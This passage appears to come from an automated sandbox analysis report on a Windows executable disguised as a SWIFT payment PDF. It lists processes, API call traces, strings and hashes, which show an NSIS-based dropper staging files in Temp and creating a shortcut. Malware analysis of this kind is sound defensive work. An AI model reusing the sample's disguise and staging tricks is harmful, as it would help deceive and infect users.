Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	135
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	136
Start time:	13:39:06
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"
Imagebase:	0x400000
File size:	421'592 bytes
MD5 hash:	1048340BCFAE30DF032C161AC52F8F0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	140
Start time:	13:39:21
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1092
Imagebase:	0x650000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22%
Dynamic/Decrypted Code Coverage:	15.3%
Signature Coverage:	19.4%
Total number of Nodes:	1493
Total number of Limit Nodes:	50

Executed Functions

Function 004030EF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 324
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403110
SetErrorMode.KERNELBASE(00008001), ref: 0040311B
OleInitialize.OLE32(00000000), ref: 00403122

Part of subcall function 00405EA2: GetModuleHandleA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EB4
Part of subcall function 00405EA2: LoadLibraryA.KERNELBASE(?,?,?,00403134,00000008), ref: 00405EBF
Part of subcall function 00405EA2: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED0

SHGetFileInfoA.SHELL32(0079DCB8,00000000,?,00000160,00000000,00000008), ref: 0040314A

Part of subcall function 00405B77: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B84

GetCommandLineA.KERNEL32(007A1F00,NSIS Error), ref: 0040315F
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",00000000), ref: 00403172
CharNextA.USER32(00000000,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",00000020), ref: 0040319D
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 00403295
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004032A6
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032B2
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032C6
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004032CE
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004032DF
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004032E7
DeleteFileA.KERNELBASE(1033), ref: 004032FB
OleUninitialize.OLE32(?), ref: 004033A9
ExitProcess.KERNEL32 ref: 004033C9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",00000000,?), ref: 004033D5
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 004033E1
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 004033ED
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 004033F4
DeleteFileA.KERNEL32(0079D8B8,0079D8B8,?,007A3000,?), ref: 0040344D
CopyFileA.KERNEL32(C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,0079D8B8,00000001), ref: 00403461
CloseHandle.KERNEL32(00000000,0079D8B8,0079D8B8,?,0079D8B8,00000000), ref: 0040348E
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004034E3
ExitWindowsEx.USER32(00000002,00000000), ref: 0040351F
ExitProcess.KERNEL32 ref: 00403542

Strings

", xrefs: 004031C2
TEMP, xrefs: 004032DA
Low, xrefs: 004032C8
NSIS Error, xrefs: 00403150
SeShutdownPrivilege, xrefs: 004034F5
Error launching installer, xrefs: 00403361
C:\Users\user\AppData\Local\Temp\, xrefs: 0040328A, 0040328F, 004032A5, 004032B1, 004032C0, 004032CD, 004032D9, 004032E1, 004033D4, 004033E0, 004033EC, 004033F3, 004034A2
C:\Users\user\udskriftskartotek\chiromancy\refalling, xrefs: 0040327A, 0040337B, 004033FA, 00403403
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 00403165, 0040316B, 0040331F
C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy, xrefs: 00403386
C:\Users\user\Desktop, xrefs: 004033DA, 004033DF, 00403402
1033, xrefs: 004032F6
\Temp, xrefs: 004032AC
C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe, xrefs: 0040345C
~nsu.tmp, xrefs: 004033CF
TMP, xrefs: 004032E2

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe$C:\Users\user\udskriftskartotek\chiromancy\refalling$C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-3377797858
Opcode ID: a3e75096bba33f31aa827b02cc33142ec1426715b727b680d56db394eb4d4ef5
Instruction ID: 3931d960d2cecc16523f178db0b803f8d2f925e5e1ab1ff86deffc182e7e2b76
Opcode Fuzzy Hash: a3e75096bba33f31aa827b02cc33142ec1426715b727b680d56db394eb4d4ef5
Instruction Fuzzy Hash: 01B10A709083816EE7116F755C4DA2B7EE8EB86306F04457EF181B62E2C77C9A05CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00404FC2 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 279
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405021
GetDlgItem.USER32(?,000003EE), ref: 00405030
GetClientRect.USER32(?,?), ref: 0040506D
GetSystemMetrics.USER32(00000015), ref: 00405075
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405096
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004050A7
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 004050BA
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 004050C8
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050DB
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004050FD
ShowWindow.USER32(?,00000008), ref: 00405111
GetDlgItem.USER32(?,000003EC), ref: 00405132
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405142
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040515B
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 00405167
GetDlgItem.USER32(?,000003F8), ref: 0040503F

Part of subcall function 00403EBC: SendMessageA.USER32(00000028,?,00000001,00403CED), ref: 00403ECA

GetDlgItem.USER32(?,000003EC), ref: 00405184
CreateThread.KERNELBASE(00000000,00000000,Function_00004F56,00000000), ref: 00405192
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00405199
ShowWindow.USER32(00000000), ref: 004051BD
ShowWindow.USER32(000103F6,00000008), ref: 004051C2
ShowWindow.USER32(00000008), ref: 00405209
SendMessageA.USER32(000103F6,00001004,00000000,00000000), ref: 0040523B
CreatePopupMenu.USER32 ref: 0040524C
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405261
GetWindowRect.USER32(000103F6,?), ref: 00405274
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405298
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052D3
OpenClipboard.USER32(00000000), ref: 004052E3
EmptyClipboard.USER32 ref: 004052E9
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F2
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004052FC
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405310
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405329
SetClipboardData.USER32(00000001,00000000), ref: 00405334
CloseClipboard.USER32 ref: 0040533A

Strings

Epicurize Setup: Installing, xrefs: 004052AF
{, xrefs: 00405228

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendChangeClientDataEmptyFindLockMetricsNotificationOpenSystemThreadTrackUnlock
String ID: Epicurize Setup: Installing${
API String ID: 4154960007-3782759227
Opcode ID: 6e337b6c722179ab30ba9d86fe019cb1769816a747b5174ef96660d98cd53fd9
Instruction ID: 5cc5a493c7826af022734a05619d12b61540e90d3b7798cd1ee4812e4cb533c1
Opcode Fuzzy Hash: 6e337b6c722179ab30ba9d86fe019cb1769816a747b5174ef96660d98cd53fd9
Instruction Fuzzy Hash: FDA16C70900208BFEB119F60DC85AAE7F79FB44355F00816AFA05BA1A1C7795E41DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402C33 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C44
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,00000400), ref: 00402C60

Part of subcall function 00405825: GetFileAttributesA.KERNELBASE(00000003,00402C73,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,80000000,00000003), ref: 00405829
Part of subcall function 00405825: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040584B

GetFileSize.KERNEL32(00000000,00000000,007AA000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,80000000,00000003), ref: 00402CAC

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E0B
soft, xrefs: 00402D21
Null, xrefs: 00402D2A
Error launching installer, xrefs: 00402C83
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C3D
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 00402C33
Inst, xrefs: 00402D18
C:\Users\user\Desktop, xrefs: 00402C8E, 00402C93, 00402C99
C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe, xrefs: 00402C4A, 00402C59, 00402C6D, 00402C8D

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-2094975479
Opcode ID: 7e6bea62646216416da1489436a3b000af82ae672027ee591beada05dc0c487d
Instruction ID: 9cc68cb9a8033aa8cfa9fb84db7bfe2d2ab72e09e198f7c7f71ed61724ba903c
Opcode Fuzzy Hash: 7e6bea62646216416da1489436a3b000af82ae672027ee591beada05dc0c487d
Instruction Fuzzy Hash: 74510471D40204ABDB209F65DE89B6E7BA8EF40354F14403BFA04B62D1C7BC9E418BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,00404EBC,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000), ref: 00405C4A
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405CC5
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405CD8
SHGetSpecialFolderLocation.SHELL32(?,0078F2A8), ref: 00405D14
SHGetPathFromIDListA.SHELL32(0078F2A8,Call), ref: 00405D22
CoTaskMemFree.OLE32(0078F2A8), ref: 00405D2D
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D4F
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,00404EBC,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000), ref: 00405DA1

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C94
Call, xrefs: 00405BC0, 00405C92, 00405CAF, 00405CC4, 00405CD7, 00405CF3, 00405D1E, 00405D4E, 00405D54, 00405D6C, 00405D7F, 00405D9A, 00405DA0, 00405DAB, 00405DD5
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D49
Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll, xrefs: 00405BC8

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1706705762
Opcode ID: 62d675d7ba4d7dd78eb3db4cf19b3261ec8909dcb0a8e4f793d05ab03d583e6e
Instruction ID: 050506686e60d08a76f5c318217997e75ce046d50ca6fca7f220fc6f31a13d77
Opcode Fuzzy Hash: 62d675d7ba4d7dd78eb3db4cf19b3261ec8909dcb0a8e4f793d05ab03d583e6e
Instruction Fuzzy Hash: 5E61F471A04A05AAEF115F24CC88BBF3BA9EF52314F14813BE941BA2D1D27C5981DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405454 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 0040547D
lstrcatA.KERNEL32(0079FD00,\*.*,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004054C5
lstrcatA.KERNEL32(?,00409014,?,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004054E6
lstrlenA.KERNEL32(?,?,00409014,?,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004054EC
FindFirstFileA.KERNELBASE(0079FD00,?,?,?,00409014,?,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004054FD
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004055AA
FindClose.KERNEL32(00000000), ref: 004055BB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405462
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 00405454
\*.*, xrefs: 004054BF

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3914693047
Opcode ID: a324933f258540b044efcfe334312fa73fb273d9979f8c99fd1672fc9b6fdbd7
Instruction ID: 6c887a6cd9596c43cc691a5f5e4ea67afdeb508a4c755cd09b57e0a75bcacbf5
Opcode Fuzzy Hash: a324933f258540b044efcfe334312fa73fb273d9979f8c99fd1672fc9b6fdbd7
Instruction Fuzzy Hash: 6F51C030800A04BACB21AB21CC45BBF7AB9DF42318F54817BF455B11D2D73C9A82DEAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402036 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402089
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,C:\Users\user\straamandens\noncosmic.lnk,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402143

Strings

C:\Users\user\straamandens\noncosmic.lnk, xrefs: 0040212C, 00402136, 00402152
C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy, xrefs: 004020C1

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\straamandens\noncosmic.lnk$C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy
API String ID: 123533781-2511247558
Opcode ID: 2e1ddb8780e1016394c9569cfde0881147111bc378c8489ba5f4aecf93cc6e5d
Instruction ID: b07af7920b8309ffd935e8952b71055f016d565fd75ec3e93ef818f940943bf4
Opcode Fuzzy Hash: 2e1ddb8780e1016394c9569cfde0881147111bc378c8489ba5f4aecf93cc6e5d
Instruction Fuzzy Hash: 91415F75A00205AFCB00DFA4CD88EAE7BB5EF49314F204169F905EB2D1CA79AD41CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00405E7B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,007A0548,outvillain\faber.div,00405755,outvillain\faber.div,outvillain\faber.div,00000000,outvillain\faber.div,outvillain\faber.div,?,?,75EE3410,00405474,?,C:\Users\user\AppData\Local\Temp\,75EE3410), ref: 00405E86
FindClose.KERNEL32(00000000), ref: 00405E92

Strings

outvillain\faber.div, xrefs: 00405E7B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: outvillain\faber.div
API String ID: 2295610775-1876387199
Opcode ID: cc838ac162cb5096740799fdca5271843f6408794e75c0bc12259f58485ee713
Instruction ID: e3a419463b19944544fc21c9ad6669fb55d517ae4bfd2eba5619c06405e9773a
Opcode Fuzzy Hash: cc838ac162cb5096740799fdca5271843f6408794e75c0bc12259f58485ee713
